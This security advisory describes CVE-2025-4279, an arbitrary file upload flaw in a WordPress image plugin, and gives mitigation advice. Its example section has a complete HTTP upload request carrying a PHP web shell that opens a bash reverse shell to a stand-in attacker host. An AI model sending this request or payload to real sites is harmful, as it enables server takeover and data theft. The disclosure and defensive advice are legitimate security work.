CVE-2025-4279: Critical Arbitrary File Upload Vulnerability in WordPress External Image Replace Plugin

Overview

The CVE-2025-4279 is a critical vulnerability that exists in the External Image Replace plugin for WordPress. It allows an authenticated user with contributor-level permissions and above to upload arbitrary files to a server. This vulnerability is particularly dangerous as it can pave the way for potential remote code execution on the affected site’s server. The vulnerability affects all versions of the plugin up to and including 1.0.8. Given the widespread usage of WordPress, this vulnerability could potentially impact a large number of websites, making it a significant concern for website administrators and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-4279
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Authenticated user with contributor-level permissions)
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

External Image Replace Plugin for WordPress | 1.0.8 and prior versions

How the Exploit Works

The vulnerability resides in the ‘external_image_replace_get_posts::replace_post’ function of the WordPress plugin, which lacks proper file type validation. This allows an authenticated attacker with contributor-level permissions to upload arbitrary files to the server. The lack of file type validation makes it possible for an attacker to upload a malicious file that, when executed, can lead to remote code execution.

Conceptual Example Code

Here is a conceptual example of how an attacker could exploit this vulnerability:

POST /wp-admin/admin-ajax.php?action=external_image_replace_get_posts::replace_post HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uploads a malicious PHP file that, when executed, opens a reverse shell to the attacker’s server, potentially leading to a full system compromise.

Mitigation Guidance

Users of the affected plugin are advised to apply the vendor-provided patch immediately. Until the patch is applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks. It’s also recommended to restrict user permissions wherever possible and ensure proper file type validation throughout the system.